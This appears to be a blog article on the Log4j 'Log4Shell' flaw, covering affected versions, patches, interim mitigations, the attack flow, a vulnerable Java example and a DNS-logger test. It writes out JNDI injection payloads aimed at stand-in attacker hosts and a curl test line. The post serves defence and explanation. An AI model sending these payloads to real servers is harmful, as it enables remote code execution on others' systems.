Log4j Vulnerability in Java — Apple, Tesla, Minecraft Hacked

A recently discovered 0-day vulnerability in a widely used Java logging library has turned into a massive security meltdown affecting the digital systems of organizations around the world.

Glossary: 0-day refers to a flaw that has been disclosed to the public but not yet patched. Thus, it is susceptible to attacks.

Security researchers issue strong word that this vulnerability, due to being present in a popular library, can have repercussions all over the world.

Attackers are already giving it their best shot to exploit this vulnerability. Reports have found malware like Bots and Worms, already being developed and spread to automatically exploit this vulnerability on susceptible systems.

These malware attack the vulnerability in systems using the log4j Java logging library and use it for malicious Remote Code Execution(RCE).

Glossary: RCE stands for Remote Code Execution. It means attackers can remotely execute code on a system without physical access to it.

This gives them full control of the system and it compromises the security of other connected systems in the same network. An attacker with malicious intent and full privileges of a system can wreak havoc on any big enterprise. A good example of this is very recent SolarWinds  log4j or log4shell is being referred to as a massive design flaw of the Java library.

The log4j vulnerability was tweeted and further, a POC(Proof-Of-Concept) was uploaded on Github.

This post provides a detailed rundown of the vulnerability along with pointers on how to defend your systems from the log4j attack vector.

Who is impacted by log4j Vulnerability?

Innumerable web applications around the world have been affected by this vulnerability. Even though the Java programming language may not be too popular among consumers, the Java library is still a solid choice to build enterprise systems and web applications.

As a result, this vulnerability has compromised the security of mass services including big names like Apple Cloud, Steam, Apache, Twitter, Minecraft, Amazon Apache Solr, Baidu, NetEase, CloudFlare, Kafka, Ghidra and so on.

A more comprehensive list of the attack surface of this exploit can be found on this GitHub page.

It has been further demonstrated that simply changing the iPhone name can trigger this vulnerability on Apple Servers. Hopefully, this gives you an idea of how fragile this vulnerability is.

Since the flaw sits deep in a foundational piece of code, it is very difficult to grasp an idea of the scope of the severity of the attack. Security teams and researchers are working double-time to find an answer to resolve this dilemma.

Affected Apache log4j Versions

2.0 <= Apache log4j <= 2.14.1

This means all the versions between Apache log4j 2.0 to 2.14.1 are susceptible to this attack.

How to Fix log4j2 Vulnerability

Researches have come up with both, a temporary solution to resolve the threat and a permanent, more stable solution. In case you are unable to patch the system for any reason, follow through with the temporary mitigation technique to secure your system until you download the patch and install it.

Permanent Mitigation of the Threat

A new version v2.15.0rc1 of log4j library was released without the vulnerability and was made available for the public to download and patch their systems. However, soon a bypass was found to the fix, rendering it useless. Thus a new version v2.15.0rc2 was soon released with the fix.

You can download the latest version from the download page here.

Temporary Mitigation of the Threat

As per a discussion on the Hackernews forum, you can take these steps:

LOG4J2-2109 1 day ago | parent | context | favorite | on: Log4j RCE Found

The ‘formatMsgNoLookups’ property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the ‘formatMsgNoLookups=true’ mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].
If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:

– Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109


– Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior.

[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198

How Does the Exploit work?

The working of the exploit can be better explained in this breakdown. We have also provided a sample code for you to try and test it out (STRICTLY on your own machines).


  1. Data from the attacker is sent to the server via any transmission protocol.
  2. The server logs the data as request, containing malicious payload:${jndi:ldap://hackerr.com/a}  In this code, hackerr.com is a hacker owned server.
  3. The payload triggers the log4j vulnerability and it makes the server send a  request to hackerr.com via the JNDI(Java Naming and Directory Interface)
  4. This response carries a path to a remote java class file example ://stage-two.hackerr.com/malicios.class which is injected into the server process.
  5. This payload, once injected, triggers stage-two which allows hackers to remotely execute arbitrary code.

Sample Exploit Code for logj4shell vulnerability 

The following code demonstrates the working of the exploit. Code courtesy of LunaSec.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");

// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);

String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();

How to Identify if Your Server is vulnerable?

You need to make sure that your systems are safe from the breach. In order to verify integrity and security in your systems, you can make use of a DNS logger(for instance, dnslog.cn). Generate a domain name and use it to test your systems against this exploit.

If you prefer to use another service as your DNS logger, once google search will list you all the top names to try.

Sample test payload:

curl -H 'XYZ-Api-Version ${jndi:ldap://xxx.dnslogger.xyz/a}'

Word of Caution:

While testing sensitive security infrastructure, information sent to DNS logger sites can be recorded and later used by the owner to exploit systems.

To test your system in a better, more discrete way, you can set up your own DNS authoritative Server.

Java vulnerabilities are very common in the world of infosec. Several security researchers have created tools to exploit them through automation. Thus, it is good to be aware of threats you can face if you own a Java-based application for your business.

We hope the article proved to be of value to you and by the end of it, you were informed and conscious about the ongoing persistent threats that web applications and enterprises around the world are facing. You could also be one of them. Refer to the curated solutions to resolve your situation.

Similar Posts

Leave a Reply

Your email address will not be published.